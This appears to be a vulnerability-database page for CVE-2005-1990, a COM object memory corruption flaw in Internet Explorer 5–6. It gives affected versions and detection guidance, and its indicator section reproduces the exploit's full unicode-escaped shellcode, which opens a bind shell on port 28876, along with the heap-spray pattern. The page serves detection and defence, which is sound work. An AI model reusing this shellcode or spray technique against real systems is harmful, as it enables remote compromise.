CVE-2005-1990

published 2005-08-10

CVE-2005-1990: Internet Explorer 5.0, 5.5, and 6.0 allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a web page…

Priority P4 33 medium 5.1 CVSS 2.0

AV N AC H Au N C P I P A P

EXPLOIT

Internet Explorer 5.0, 5.5, and 6.0 allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a web page with embedded CLSIDs that reference certain COM objects that are not ActiveX controls, including (1) devenum.dll, (2) diactfrm.dll, (3) wmm2filt.dll, (4) fsusd.dll, (5) dmdskmgr.dll, (6) browsewm.dll, (7) browseui.dll, (8) shell32.dll, (9) mshtml.dll, (10) inetcfg.dll, (11) infosoft.dll, (12) query.dll, (13) syncui.dll, (14) clbcatex.dll, (15) clbcatq.dll, (16) comsvcs.dll, and (17) msconf.dll, which causes memory corruption, aka "COM Object Instantiation Memory Corruption Vulnerability," a different vulnerability than CVE-2005-2087.

Affected

3 ranges

Vendor	Product	Version range	Fixed in
microsoft	ie	—	—
microsoft	internet_explorer	—	—
microsoft	internet_explorer	—	—

Detection & IOCs extracted from sources · hover to see the quote

other 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5↗

filename blnmgr.dll↗

filename devenum.dll↗

filename diactfrm.dll↗

filename wmm2filt.dll↗

filename fsusd.dll↗

filename dmdskmgr.dll↗

filename browsewm.dll↗

filename browseui.dll↗

port 28876↗

bytes↗

%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb

bytes↗

%u0D0D%u0D0D

• → Detect heap spray NOP sled pattern using repeated 0x0D0D0D0D dword in JavaScript unescape() calls, characteristic of this exploit's memory grooming technique. ↗
• → Alert on instantiation of CLSID 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5 (blnmgr.dll) via Internet Explorer OBJECT tags or CreateObject calls, as this is the specific COM object abused by the exploit. ↗
• → Monitor for TCP bind shell connections on port 28876, which is opened by the dropped shellcode payload upon successful exploitation. ↗
• → Detect HTML pages embedding CLSIDs referencing non-ActiveX COM DLLs (devenum.dll, diactfrm.dll, wmm2filt.dll, fsusd.dll, dmdskmgr.dll, browsewm.dll, browseui.dll, shell32.dll, mshtml.dll, inetcfg.dll, infosoft.dll, query.dll, syncui.dll, clbcatex.dll, clbcatq.dll, comsvcs.dll, msconf.dll) as OBJECT/CLSID references in web content delivered to Internet Explorer. ↗
• → Look for the shellcode marker bytes 0x43 0x43 0x43 0x43 (%%u4343%%u4343) at the start of unescape() shellcode strings in JavaScript, used as a recognizable prologue for this specific payload. ↗

• · The exploit targets Internet Explorer versions 5.0, 5.5, and 6.0 only; modern IE versions and other browsers are not affected by this specific COM object instantiation memory corruption. ↗
• · CVE-2005-1990 is a distinct vulnerability from CVE-2005-2087, which covers a different but related COM object instantiation issue in Internet Explorer; detection rules should not conflate the two. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.